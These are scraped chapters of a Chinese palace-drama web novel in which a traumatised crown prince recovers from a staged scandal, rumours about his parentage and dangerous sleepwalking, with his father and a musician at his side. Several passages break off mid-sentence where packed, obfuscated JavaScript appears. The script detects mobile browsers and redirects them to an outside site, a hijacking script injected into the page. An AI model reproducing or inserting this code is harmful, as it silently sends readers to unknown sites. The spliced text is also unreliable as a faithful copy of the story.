在虞闻道离去两个时辰后,萧玠终于苏醒,一触到榻边萧恒的双眼,立刻滚下泪来。 “咱们回来了,好孩子,咱们回来了……”萧恒忙给他擦泪,轻声问,“身上还难受吗?烧刚退了,头痛不痛?” 萧玠强力把头抬离枕面,萧恒会意,立刻俯身抱住他,手臂穿过他身后抱住他的脊背,哄道:“阿爹在,阿玠不怕,阿爹在呢。” 萧玠抱紧他颈项,一抬手臂就露出肌肤上的青紫指痕。萧恒不敢用力,只拍打婴儿一样轻轻拍打他,过了好一会,他才听到儿子完全哑掉的声音:“……他呢?” 萧恒没有说话。 萧玠连抓紧他衣襟的力气都没有,断断续续道:“阿爹,不、不是他的错,我不知道怎么回事……下雨了,我们找了房间住下,然后进来两个女孩……我、我不该进那间房子,我不该留在园子里,我应该立即带人回宫的……我……你救救他阿爹,你救救他……他爹知道,要把他打死了……” 萧恒柔声道:“好,好,阿玠,阿爹没有怪罪他,阿爹会跟嘉国公讲好这件事。” 他迟疑许久,还是道:“阿玠,你同阿爹讲,你心里喜欢他吗?” “我……我不知道……”萧玠哽咽道,“我不知道呀!” “阿爹不问,阿爹不问了。你好好睡一觉,阿爹陪着你,好不好?” 萧玠伏在他怀里,浑身颤抖,却没有出声。 萧恒心中一紧,刚想开口,就听见一道从牙缝里挤出的声音:“他们都瞧见了。” 萧玠整个人缩在榻上,脸埋在掌心:“他们都瞧见了,他们那样瞧着我,他们、他们……” 他伸着脖子喘了许久,终于放声大哭道:“阿爹,我对不住你,我叫你丢脸了,我叫你丢脸了!” 秋童正端了药来,还没走到门口,就被这撕心裂肺的哭喊声叫得一震,手一哆嗦,用尽全力才抓稳药碗,刚松口气,两行眼泪却坠落下来。 *** 玉陷园之事沸沸扬扬,成为朝野尽职的大案和谈资,皇太子的精神状态也成为官员们试图打探之事。 越来越多的京官前来问候,但几乎没有人得以踏入东宫的门槛。向来性情温厚的内官阿子忍无可忍,也发作一通。 在一个黄昏,阿子出门去太医局拿药,却被一道浅绿身影拦下。阿子看清是谁,勉强撑起笑容:“汤员外郎好。” 汤惠峦以探花入朝,新补户部员外郎一职,此时还未上任,忙道:“不敢担中贵人如此称呼。” 阿子想起萧玠从前对他多有关怀,便耐着性子问:“汤郎这个时辰入宫,不知有何贵干?” 汤惠峦将一只匣子捧上,道:“这是臣家传之物,请中贵人转交殿下。” 阿子打开,见是一块美玉,通身无瑕,念起萧玠曾在宴席道,汤惠峦故乡的芙蓉美玉为天下一绝,想来便是此物,忙道:“如此厚礼,殿下断不肯收,这是东宫立下的规矩,汤郎还是拿回去吧。” 汤惠峦道:“此物安神助眠,以此蘸取药物滚动肌肤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一段萧玠十分抵触与人触碰。上药的事他只让萧恒经手,每日固定时分,萧恒屏退侍从,键好门窗,萧玠坐在榻边,垂着脑袋,看自己从屐中脱离的脚趾,一个一个分开,又一个一个合拢。他看得很认真,像在看几条碰头碰脑的小鱼,而不是长在身上的、自己的脚。 萧恒将床帷放下,架子床里便是四四方方的一天一地。这时候,萧玠的脚背动了动。他重新找回对身体的控制,慢慢爬上榻,背身伏到枕上。 榻边响起哗啦水声,是萧恒绞好手巾。他拿过药膏坐在榻边,抬手抚摸萧玠后脑,感觉到儿子一瞬间的闪躲。 萧恒静了会,五根手指缓慢梳理萧玠的头发,轻声道:“不怕阿玠,是阿爹,阿爹给你上药,不怕。” 萧恒虽勒令不许议论,但成效甚微。宫闱秘辛素来受人热议,皇太子这场混乱床事已经成为时人茶余饭后的谈资,甚至千百年后,仍会作为史馀叫人津津乐道。只说现在,萧玠只在东宫,就能感受到窥探的目光和絮语,他像一个剥衣示众的罪犯,赤身裸体地游荡在这红墙下。而这里,原本是他的家。 萧玠不肯走出房间。 萧恒在照顾萧玠的同时,着手调查这场处心积虑的陷害。萧玠审理献女一案,这些刚被解救的女孩就差点被太子强占,若没有虞闻道横插一杠,监守自盗的罪名就栽在了萧玠头顶。如此一来,作为贿资的女孩都送进了东宫,正义的太子才是最大的受贿人。王府众女案就成为贼喊捉贼的笑话和彻头彻尾的丑闻。 他们究竟怕萧玠追查什么?或者说,萧玠已经查到了什么? 萧恒调来刑部卷宗,问前来面圣的崔鲲:“太子给许仲纪去了书?” “是。” “有没有最近的答复?” “许将军已清点当年查封小秦淮的旧人,本当不日抵达京城。但在路上,将军一行突然病倒。” “病倒?” “是,全员上吐下泻,据军医诊治,是饮食不干净,得了痢疾。” 萧恒啪地将卷宗合上。 崔鲲等待片刻,才开口道:“将军威望深厚,殿下更是千金之躯,凶犯歹心再甚,也不敢轻举妄动。殿下与将军相继出事,说明他们的命脉已经握在殿下掌中。陛下,越到此时,越要追查到底。” 萧恒还没说话,秋童已经趋行近前,附耳与他说了些什么。 才听了一句,萧恒便遽然变色,迅速对崔鲲说:“这件事我记下了,你先回去。” “陛下……” “崔卿,”萧恒沉声道,“你先回去。” 崔鲲先行告退,脚步声还没完全远去,萧恒已厉声问道:“谁把他阿耶牵扯出来的?!” 秋童面如土色,扑通跪倒,“奴婢也不清楚,如今宫里宫外传的有鼻子有眼,说殿下是陛下和大公……无母而生,实为妖孽!” 51. 第 51 章 桌案哐啷一响,秋童浑身骨骼也被砸似的颤抖一下。他见萧恒指节磕得发红,手背血管鼓动,额头也暴起青筋。 许久,萧恒才撑起身体,努力控制手部减缓颤抖,问:“阿玠知道吗?” “东宫没人敢多嘴,但殿下这一段心思深,到底如何,从脸上瞧不出来。” “除了这些,还有什么?” 秋童嘴巴张合几下。 “你说就是。” “他们……拿大公当年的旧事做文章,说大公能得那么多王公青眼,实因身藏妖异,男相女身。从前追随陛下多年,全凭皮肉功夫,名为重臣,实为媵妾。还说……” 秋童硬着头皮,“还说殿下同世子做出这等勾当,是家学渊源……有此虎父,当无犬子。” 他边说着,边小心观察萧恒表情。 萧恒面无表情。 萧恒点点头,抬起一只手,缓慢把整张脸攥了一遍,然后走到案前,把那柄环首刀抽出鞘中。 秋童忙扑上去抱住他,连声叫道:“陛下好陛下,您要是亲自提刀杀人,岂不是坐实他们这些腌臜话吗?天下那么多舌头,您但凡留一条,都得咬定您是恼羞成怒,殿下身上泼的污水还不够多吗?大公在家里能安生吗?” 相持之间,殿外已有内侍通传:“陛下,夏相公求见!” 秋童泪流满面,“夏相公想必得了消息。陛下,他如何都是太子太傅,是文正公亲自托付的殿下的老师!他绝不会在这件事上害殿下,您见见他,和他商量商量法子吧……平息流言要紧,殿下现在受不得刺激了!您全当为了殿下,大公和您就这么一个儿子啊!” 咣啷一声,环首刀落地。比刀更快,萧恒已经一个趔趄软在地上。 他不要秋童搀扶,只摇摇手:“叫夏相公进来。” *** 这么多天,萧玠讲了第一句话。 萧恒再回东宫时夜色已深。他轻轻推开门,正见萧玠坐在桌边,傍一盏灯切橙子。 他把橙子握在掌心,右手持一把小刀,刀尖没入果皮时,血浆一样的金汁迸溅,一些飞到他脸上,一些顺着掌心手指蜿蜒而下,从腕部坠落,滴答,滴答。 萧恒迈动脚步时,萧玠切动第二刀。 他神情专注,下刀很深,那只握刀柄的手每下滑一寸,萧恒一颗心就揪紧一寸。好在,萧玠取出一角金黄的橙子肉,没有半点血红。 萧恒从他对面坐下,说:“阿爹切给你吃,好不好?” 萧玠转了转橙子,又割第三刀。 “那阿爹给你下馎饦,你不是想吃阿爹下的馎饦吗?”见萧玠仍不说话,萧恒又道,“昆刀这一段不见你,不吃不喝。它上了年纪,这么下去熬不住。” 刀柄顿了一下。 萧恒看在眼中,柔声问:“阿爹一会陪你去瞧它,好吗?” 萧玠动作停了一会,把那只橙子放下。萧恒看到他的掌心——谢天谢地,没有伤口。 萧玠把切好的那一角橙子拿起来,仔细盯着,像要数清那梭子一样的金粒的数量。这时候,他终于说了这些天来的第一句话: “我会有小孩吗?” 萧恒一愣。 萧玠摸了摸腹部,问:“他会怀孕,我也会怀孕吗?到时候,是不是要把肚子割开?” 那些流言,到底吹进他耳朵里。 萧恒声音有些颤抖:“不会的,阿玠。太医替你把过脉,你不会的。” 萧玠没什么反应,指甲慢慢剥离果皮,像剥开一层肌肤。他像无关于己一样:“阿爹,我想走。” 萧恒坐在对面,灯火照不到他的脸。静了片刻,他说:“好,等过几天,我送你去阿耶那边。” 萧玠平静说:“你知道我是什么意思。” 萧恒脸部肌肉抽动一下,又一下。一阵迟滞的咀嚼声响起时,他终于把脸埋在双掌之中。 当夜萧恒坐在榻边,盯着萧玠浅睡的脸,这么看了许久,替他落下床帷,走到外堂,对上秋童不忍的目光。 他的声音出乎自己意料的镇定:“把阿双请过来。告诉夏相公,他的法子,我答应了。” *** 翌日,萧恒从东宫动身上朝。他对镜穿衣时,萧玠抱着膝盖坐在窗底,对着阳光观察自己的右手手掌。 他右手有五根手指,拇指和中指的茧子最厚,小指指甲的月牙更明显。食指第三个指节有一粒很浅的痣,秦灼左手同样位置也有同样一颗。他手背几乎看不到体毛,只有在阳光下,才能看到一层金白色的绒毛。 这时,一束白光从五根指头的缝隙里迸射出来,萧玠迟钝地动了动眼珠,意识到那是萧恒的旒珠折射的光芒。 萧玠挪动视线,见秋童立在一旁,手托托盘,上面有一本洒金红皮的册子,一块金印。 他心有疑问,但没有开口询问的欲望。 萧恒走过来,伸手摸了摸他的脸,说:“好好吃药。” 萧玠觉得他还有话要说。 萧恒转身离开了。 萧玠又抬起手,保持和刚刚一样的动作,顺着手掌看自己的手臂。虞闻道的掐痕和吻痕基本淡去了,但一些咬痕还在,破皮微微翘起,像一个婴儿要吮吸的小嘴。 突然,他的手臂颤抖一下,由于窗外传来的一道巨大的摔打声,接着是阿子压低的呵斥和女孩跪地求饶的声音。 萧玠声带振动几下,发出声音:“阿子。” 屋外霎时一静,阿子撩开帘子快步冲进来,跪在榻边握住他的手,激动道:“殿下,殿下你可算同奴婢说话了。你别动气,是这丫头不小心……” 萧玠只觉乏力,“别训斥她。” “是、是。” “外头怎么了,一大清早,吵吵嚷嚷的。” 屋外动静并不大,但萧玠这一段感知太过敏锐,便发觉出不对。 阿子道:“收拾东西呢,陛下说了一些箱奁都老旧了,叫给殿下换一批。” 说到萧恒,萧玠睫毛轻轻抖了两下,今早一些异样的碎片在这时浮出眼底——萧玠被那旒珠光闪到,余光动了动,看到镜中萧恒的身影。 他穿的不是朝服。 是吉服。 萧玠脸上生动起来,他喘了口气,“叫她进来回话。” 阿子神色有些惴惴,到底将那宫女领进来。 萧玠不叫她跪,问:“你们在搬什么东西?” 宫女要看阿子,萧玠道:“别看旁人,你答我就是。” “回殿下,奴婢们在搬夫人的衣箱。” “夫人?” “殿下。”阿子忙堆笑,“咱们先吃药吧。” 萧玠看着那女孩,“什么夫人,谁是夫人?” 宫女怯怯道:“是双姑姑。陛下一早下了旨意,册姑姑为夫人,赐夫人居住与东宫相邻的春晖殿,以全与殿下的骨肉之情。” 骨肉之情…… 萧玠只觉喉咙被一只手紧紧掐住,“什么骨肉之情,陛下为什么这时候册封姑姑,为什么名头?” 那宫女年幼,抬头见他神色,骇得要哭出来,“姑姑……姑姑是殿下的生母呀,现在流言四起,陛下下了明旨,声明殿下的身世,还……” “那秦公呢?”萧玠两排牙齿都在磕碰,“秦公和他……他怎么说?” “秦公和陛下不是子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧玠慢慢缩起身子,颤声说:“阿爹,就算你能治好我,在这个地方,我还是会发疯。我活到现在十六个年头,真正高兴的日子掰着指头能数过来。我做错了什么,都要这么对我,杀我的老师,害我的妹妹,把我阿耶撵走,还让三哥……三哥和我……我什么都没有了,现在我连念想都没有了,我真的没办法了!” “我没办法看你为了我退让到这个地步,我没办法看你为了保护我连娘都给我认了。我是没有娘……可我不是没有娘!”他终于喊出来,那样一声带血的呐喊,“姑姑像我娘,但他还在,他只是离开了但他还在!就算他不在了,我怎么能认旁人做娘,我怎么能让你说……你们相交泛泛,全是无稽之谈……” 萧恒不敢轻易碰他,他看着萧玠双手插在头发里,手臂抬起,又落下。 他哑声说:“阿玠,你告诉阿爹,你怎么才能好受些?” 萧玠喃喃:“好受些……我不知道,或许,我得离宫里远一点,离这些事远一点。” “好。” “那我就得离你远一点。” “……好。” “但我不想离开你。” 萧玠抬头看他,泪如走珠,“我不想离开你。我想陪着你,你太苦了……” 萧恒沉默一会,轻轻摩挲他后背,说:“阿玠,你好,就成。” 萧玠双手掩面,后背颤动许久,哇地哭出了声。 太阳再从天边绽放时,一辆马车在龙武卫翊护下驶出宫门。紧接着,太子养病的谕旨跟随马蹄抵达夏秋声府邸。 52. 第 52 章 萧玠离开不久后,萧恒做了一件令人不得其解的事。 他赶到乱葬岗,重新挖出假王云楠的尸首。 几乎是那副残连的骨肉一出土,秋童就忍不住呕起来。坟旁的苍蝇嗡地一哄而上,萧恒却只放下铁锨,刀尖拨开附在骨上的蛆虫,一节一节摸那具带脓的骨头。 这样摸了一会,萧恒收回手,说:“这人不是影子。” 秋童大惊失色,“可按他的供词……他背上的伤疤,还有人皮面具……” “长生蛊作用在骨,骨头会有青黑色的纹路,他骨头是白的。”萧恒脸色发沉,“是我失察。” 如果不是萧玠出事敲响他的警钟,他大抵也就根据那伤疤和面具,将他算作影子逆党了。 秋童脸色仍有些发白,“但他……晓得陛下的名号。” 那声重光。 他不是影子,但深知影子的手法,还知道萧恒和影子的渊源。 背后这只手,和影子关系匪浅。 突然之间,萧恒身形一顿,迅速拨开滑落的土砾,仔仔细细地俯身察看。片刻后,他几乎肯定道:“这是个军人。” “军人?” “对。他的腿骨断过,但接骨的手法不是夹板,是用红铜草的茎汁和米浆水泥黏合。这是从前南方军队常用的接骨手法。这种方法对骨骼有所损伤,会留下类似灼烧的痕迹,筋膜接连处的骨头会发红,但见效极快,如果是腿骨没有完全断裂,不过五天就能再度上阵。看他骨骼磨损情况,应该是接骨不久就进行过剧烈活动,很多次。”萧恒指了指,“他肩胛骨的磨损和常人不同,经常担负重物,但从他脊骨状况来看,绝对不是劳力。最有可能的情况就是常年戴甲,再加上他虎口处指骨的磨损……” 萧恒没说下去,站起身来。守在一旁的龙武卫会意,重新将尸骨合入坟坑堆土。 一个军人,和影子干系颇深…… 他立刻想起一个人。 萧恒转过头,“传我的口谕,命尉迟松重新调查范汝晖麾下。” 秋童没想到他又提起这桩陈年旧事,“那可是十多年前的旧案,陛下不早就把范逆清扫干净了?” “安知没有漏网。”萧恒道,“让他秘密处事,但有风吹草动,立刻来报。” 秋童连忙应是。 萧恒把环首刀插回腰间,从他手中接过帕子擦拭手指,步子还没迈开,远处便响起一阵马蹄声。一个禁卫翻下马背,奔到他面前单膝跪倒。 “陛下,夏相公来报,殿下从他那边离开了。” *** 那天正值重阳,在此之前,萧玠没有出现任何异常。 夏秋声的儿子已经三岁,名唤裁冰,从小与萧玠亲热,见他独自从庭中站着,便如往常一样,将手中木球向萧玠抛去。 但萧玠并没有与他一来一回地抛球游戏。那木球砸中左胸的一瞬,他像被擂了一记重拳,扑通一声跪在地上,双手抱头,发出一道撕裂的哀嚎。夏裁冰被吓了一跳,当即大哭起来。 夏秋声闻声赶到,他冲到庭中抱住萧玠时,萧玠奋力挣扎起来。夏秋声急忙道:“殿下,是臣,臣是夏秋声,臣是老师。” 萧玠睁开眼睛,夏秋声发现已有汗水从他额头滑落。他大口喘了会气,视线聚焦后瘫软在地,似乎想安慰惊吓啼哭的夏裁冰,却发不出半点声音。 夏秋声拍打他的后背,问:“怎么了,殿下,发生了什么事?” 那只木球仍在地上骨碌碌滚动,碰到萧玠的腿才停下。 萧玠嘴唇动了动,眼神有些发直,“我……看到了老师。” 但李寒的身影一闪而过,像个花眼。萧玠追他进屋,屋中空空如也;随他拐进回廊,廊下空无一人。他茫然环视四周,眼前一切景物摆设都加速旋转着。萧玠大口喘息之际,庭中爆发一声尖叫。 他冲向庭间时没有看到李寒,却看到仆婢围绕的夏秋声。 脸色灰白,双目迟滞,右手背在身后,悲悯地看着他。 萧玠忙冲上去,语无伦次叫道:“老师,老师呢,老师呢?” 夏秋声视线低垂,右臂微微一动。 萧玠一瞬间明白他要做什么。 萧玠摇头后退,看他把背在身后的右手拿出来—— 不不不不…… 一只外袍裹成的、滴着血的—— 不!! 那只包袱一抖,那颗带着腥气、血淋淋的球体——人头——准确无误地向萧玠胸口跃来。 …… 夏秋声遣退众人,亲自扶萧玠上床,喂安神汤给他。萧玠一口一口慢慢吃完,在他起身时避开他的手,拉了拉他的衣袖。 他声音嘶哑:“老师,我想去行宫。” 夏秋声眉头紧蹙,在矢口否决前,先把萧恒搬出来,“殿下知道,陛下不会答应,臣不能抗旨不尊。” 萧玠说:“老师,行宫是个好去处,教坊在那里,我可以去练练琵琶。挨着宫城也不算远……” 夏秋声肃然道:“但殿下先前在行宫出了多少事,行宫又有多少人的眼线?臣是殿下的臣子,更是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566395|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿下的老师,怎能将殿下置于如此险地?” 萧玠笑道:“在那里,也不会更坏。” 夏秋声心头一颤。 萧玠看着自己的手,灯火下,细微的颤抖被放大成影子在墙上剧烈的抖动。他说:“我现在不太能控制自己了,今天您也见到了……裁冰还小,我不知道什么时候就会伤到他。今天我手上没有东西,可万一我拿着一块砚池,一把果刀……我不知道哪天就会做追悔莫及的事。” 夏秋声道:“臣可以送裁冰去岳家。” “老师,你要上朝,不能时时刻刻看着我。” “拙荆……” “我和师娘到底男女有分。出了那件事,外头现在怎么说我我也知道……叫师娘照看,有损师娘的清誉。” 夏秋声道:“臣可以告病一段时间。” 萧玠突然笑了一下,牙齿碰在嘴唇上,感觉连牙床都在发颤。 但凡碰到他的事,夏秋声居然和萧恒一样,自乱阵脚、甚至公私不分了。 “老师,你先是大梁的相公,再是我的太傅,最后才是我的老师。你不能把时间都浪费在我身上。”萧玠想握他的手,到底只握紧案角,“我去行宫,看着我的人更多些。大伙都是在磨日子,不会耽误什么大事。这次是我欠考虑,陛下也欠妥了,您放心,我会给您写信……我……” 他吞咽一下,还是给出一个自己也无法笃定的承诺:“我会好好的。” *** 萧玠前五天的行宫生活还算平静,直至第五天夜。 第五个夜晚,阿子已养成每夜丑时替萧玠熄香炉的习惯。这件事是临行前萧恒特意嘱咐的,萧玠的肺部不能经受太长时间的香薰,但这些日不燃安神香,他难以入眠。在宫中是这活是由萧恒来做,行宫里,阿子便一肩担之。 阿子困得有些迷,小心进门,直冲那袅袅青烟而去。他取过香铲,拨弄香灰时发出的滋啦声像烙铁印在皮肉上的声音。做完这些,阿子轻手轻脚,转身离去。 即将跨过门槛时,他察觉有些不对,回头看一眼。 一瞬间,他双眼瞪圆。 榻上空无一人。 他冲到跟前,见萧玠的外衣在旁,鞋履在地,但被窝已经冰冷。 午夜之时,行宫之内,侍卫点火,宫女提灯,纷乱匆忙的脚步声和摇晃的灯火烛火炬火一起叫醒了这座宫殿。无人注意之处,一双赤脚已经默默登上城墙。寝衣单薄的萧玠如同停栖树梢的鸟,站在最高点俯瞰整座行宫。 如果他睁着眼睛。 53. 第 53 章 直至今日仍有不少人认为,萧玠的梦游症只是他有意自杀的借口。他年幼时梦中跳井已经叫人匪夷所思,而奉皇十六年,他竟能在无人看护下准确无误地登上城墙,且在被人发现前,没有失足跌成一团肉泥。 萧玠被发现时,已经在垛口上站了许久。他像筑在女墙上的一尊雕塑,身体笔直,一动不动。他双臂张开,几乎是一个倾身的姿势,双目微闭,眼皮间或一动,但没有任何苏醒的迹象。这种不苏醒更像一种等待,等待一个正确的时机一跃而下,或退后走下来。 阿子喘着粗气爬上来时,一见他便两腿一软,瘫在地上捂紧嘴巴。不仅是他,所有人看到,萧玠半个脚掌已经悬在垛头之外,脚下,是足有十丈的高空,和高空下硬如髀骨的石砖。 慌乱间,太子六率已经赶到,墙上墙下围得水泄不通,但没有人敢轻举妄动。如果扑上前将他捞过来,没人保证是自己救人的速度更快还是萧玠跳下的反应更快。有侍卫试图大声叫醒他,当即被阿子喝止。 这是秋童从前的嘱咐。 这种状态下的萧玠是叫不醒的,他如果在梦中受了刺激,这种情况下,不知道会做出什么事。 阿子有些不解,问,那怎么办? 秋童说,只有等,等他自己醒来。如果殿下处在危险境地,反而要安抚他不要惊醒,稳定他的状态,安全带他离开。 安抚? 是,安抚。一次殿下梦游,到了甘露殿中,就在陛下身边躺着,拔出一直贴身的匕首。我们赶到,都很恐慌。 那之后…… 之后,陛下安抚下他。秋童的声音在耳边响起。陛下哼了一支曲子,是哄殿下小时候入睡的童谣,轻轻拍打他一会,就把那匕首取了出来。 童谣…… 阿子焦头烂额。 只是现在这些人,有哪个知道萧玠幼时听过什么童谣? 萧玠右脚似乎又往外挪动几分,阿子靠在墙根,眼泪大颗大颗滚落。太子卫队已经放缓脚步,准备慢慢逼近,墙下也已经结成人墙,就在这时—— 一阵琵琶声拨响。 所有人转过头,见人群之后,一个少年人怀抱琵琶走上前。被发跣足,显然也是惊醒赶来。他呼吸急促,手指迅速拢捻抹挑,双眼紧盯萧玠身形。在他向前迈动脚步时,行宫大门轰然打开,一匹白马在呼喝声中飞奔而来。 *** 皇帝赶到时,我已经把萧玠从城垛上牵下来。这样兵荒马乱的一夜由皇帝把太子领回西暖阁终结,通明的灯火也熄到只剩一盏。 太医来瞧过,开了药方,也列了几项禁忌。萧玠爱香事,许多香料也不能再用。从他们交谈中,我晓得其间许多香料都是一种“落魄香”的原料,而这种香正刺激萧玠的病症。 皇帝一一记下,太医走后他便坐在榻边,撩开黏在萧玠脸侧的乱发。萧玠呼吸均匀,对他父亲的后怕无知无觉。 皇帝看了他一会,替他掖好被子站起身,突然叫一声:“沈郎。” 几乎是萧玠一下城墙我的骨头就散了架,顾不得礼仪地坐在地上。浑身大汗未褪,十指因拨弦而生颤抖也未停止。我喘了口气,从地上爬起,跟皇帝走向外堂。 皇帝指了指一旁的椅子,对我说:“坐。” 我浑身还发软,也不演那些三让三辞的段数,谢过恩典,便麻利坐下休息腿脚。 皇帝下个动作却差点让我从椅子上弹起来——他走到我面前,抱起双手,冲我作了一个长揖。 ?!! 我刚要起身,皇帝已经牢牢按住我肩膀,说:“多谢你救了阿玠。” 我抬手擦了擦汗,“殿下是储君,保卫殿下安危,是臣分内之职。” 皇帝收回手,从对面椅中坐下,再开口,已经脱去父亲的身份。他盯着我的眼睛问:“你怎么知道要这么救他的?” 我对上皇帝冷静、审视的目光,心中一跳。 果然。 我答道:“臣从前跳过池塘,能够体察一些念头。殿下也曾跟臣提过梦魇,讲起过这一节。” “这首曲子,他也同你提过?” “臣曾有幸,与殿下合奏此曲。”我谨慎道,“白虎主,朱衣郎。” 皇帝脸上并无愠色,继续道:“我听阿玠说,你不想再做教坊的营生,他也特批你结业出宫。怎么如今还在这里?” 我苦笑道:“臣前度心灰意冷,想出宫天大地大,总能度日。但臣文武不成,不会耕织,更别说买卖生意。从前练功辛苦,却没学过糊口的本事。臣这双手除了弹琵琶竟无事会做。” 皇帝沉默许久,我很难在他脸上探究他的心思,便攥了攥手指遏制颤抖,等他开口。 只是我没想到,皇帝问的竟是另一件事:“你从前跳过池塘?” “是。” “现在好些了吗?” “那是很早之前的事了。”我笑了笑,“臣都能救驾了。” “沈郎,你也瞧得出,太子这一段很不好。”皇帝有些消沉,也有些急切,“依你看,有没有什么能帮他的法子?” 我沉吟片刻,“请问陛下,殿下平日精神如何?” 皇帝声音略微波动,“从前便有些苗头,这一段尤其不好。白日里能凭空瞧见一些离开的人,又没及时就医,叫他瞒了好几年。太医讲……有些错乱的征兆。” 我默然,斟酌道:“那殿下……有没有过自残之举?” 皇帝眉毛一抖,许久不语,我有些讶然,铁打如皇帝竟也会逃避至此。过了一会,皇帝才发出声音:“有几次拿着刀,一直盯着手臂,但没有割下去。” 我点点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566396|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那就好。” “好?” “是,臣明白那种感觉。殿下至此仍没有伤害自己,说明他有强烈的求生欲望。陛下可能不信,但他并不想死。”我缓缓吸气,“这样,臣就有法子了。” 皇帝看向我,他的目光不再是如剑的锐利,而是如水的温和。 他问我:“你觉得要怎样?” 我说:“让他直面这些痛苦,重温这些痛苦,而不是停留在对痛苦的臆想。” 皇帝默然片刻,说:“他会受很大的刺激。” “陛下博文广识,一定比臣更明白以毒攻毒的道理。”我缓声说,“刺激的确有一定的风险,面对这些,殿下也定会感到惊恐和痛苦……但总好过现在,行尸走肉,拖到发疯。” 皇帝交握双手,一个指节一个指节捏了一遍。我看到他手指一顿,接着他抬头问我:“你确定吗?” 我看着他,说:“臣就是这么过来的。” *** 第二日,太子在卫队陪同下驾临夏府。 在听到沈娑婆的请求后,夏秋声眉头微紧,“再现文正公遇袭当日的情形?” “是,文正公之死是殿下的心病,而他们的死别就在相公府内,相公也是唯一的见证。” 夏秋声犹不赞同:“殿下如何能受这样的刺激?” 秋童也陪在身边,对夏秋声说:“这是陛下首肯的。” 夏秋声道:“但我听闻,樊百家曾以大相之死刺激过殿下,殿下的反应很剧烈。” “因为殿下在毫无防备的情况下被捅了一刀,那不是刮骨疗毒,而是一次伏击。” 夏秋声的态度已然谨慎,“沈郎,那你要如何保证,你所谓的帮助和樊百家的伤害不同?” “让他知情。”沈娑婆说,“在开始之前,我们要告诉他即将面对什么。” “毫无保留?” “毫无保留。” “殿下……如果抗拒呢?” “他不会的。”沈娑婆看着他,“夏相公,你和陛下都把他想得太软弱了。昨夜那种情况——现在这种情况,不是每个人都能毫发无损地活着。到现在为止,他没有伤害包括自己在内的任何人,这已经堪称壮举了。而且……他并不逃避伤痕,他甚至没有摘掉那枚扳指。” 沈娑婆顿一下,“在我建议之后,他接受了这个计划回到这里,他努力地想要好起来。” 夏秋声扭头看去,纱帘外,萧玠坐在桌边剥花生,把红色的果衣碾碎,像搓掉指间已干的血迹。 “他只需要‘被保护’的意识,需要在一开始就被告知,‘你是安全的’。这样他才会建立信任,哪怕感到不适和痛苦,他的理智也会让他努力接受,而不是直接逃避。他会好起来的。” 沈娑婆说。坚定地,像已经看见那样。 54. 第 54 章 一切要从李寒的托孤开始。 夏秋声扶住萧玠手臂时,萧玠浑身一僵,尽量不让自己表现出太明显的异样。 夏秋声指了指内室,说:“文正公问臣,能否移步室内。殿下有些怕,臣便将这道垂帘放下来。” ——殿下隔着帘子也能瞧见大相,好吗? 夏秋声放下那道青纱帘,引萧玠在椅中坐下,说:“殿下当时坐在外边剥花生,臣同大相走进内室,大相告诉臣,他命不久矣,想要臣做下一位太子太傅……他第二日清早,要去承天门颁布新法。” 萧玠从盏中拾起花生,捏开条缝。 夏秋声说:“他知道是有去无回。” 他说着也走进内室,隔着垂帘,身影有些模糊,“当时当日,文正公携殿下出走,论著一应留在府中,世族已然反动,定会将他的书稿一把火烧尽。所以通过辩论口传是新法唯一的推行之法——如果文正公不去,裴兰桥的宁为玉碎会被污蔑成畏罪自尽,百姓会对新法失去信任,哪怕择日再立,也再难令人信服。所以,文正公不得不去。” 他不得不死。 萧玠手指顿了顿,把红色的果衣碾碎,像搓掉指间已干的血迹。 夏秋声说:“这时候,文正公隔着帘子看向殿下。臣没想到,居然有一天会从他脸上看到那种神情。他说,他终此一生只对不住两个人……” ——一个是我的老师,一个,是我的学生。 李寒的笑脸出现在眼前。 萧玠摇摇脑袋。 “说到这里,他向臣跪下,顿首后说,如殿下一日临危……” ——望君能顾我将死之言,救护万一。 ——大恩大德,李寒来世结草衔环,必当报偿。 萧玠看着,李寒从帘中跪倒,俯身叩首。他紧紧盯着李寒的脑袋,额头抵地时,没有向从前一样骨碌碌滚远。 沈娑婆立在不远处,紧紧盯着萧玠的脸。萧玠脸上一片空白。 他有些痴愣,也不知道在想什么,或者什么也没有想。 没有反应,说明看到的不是恶相。 是个好迹象。 等萧玠回过神,夏秋声已经走出帘子。他见沈娑婆点点头,从案上拿起一盏残茶,递到萧玠面前,说:“文正公要离开时,告诉殿下,要臣在这一段做殿下的老师。他拿了盏残茶给殿下……” ——请殿下献敬师茶。 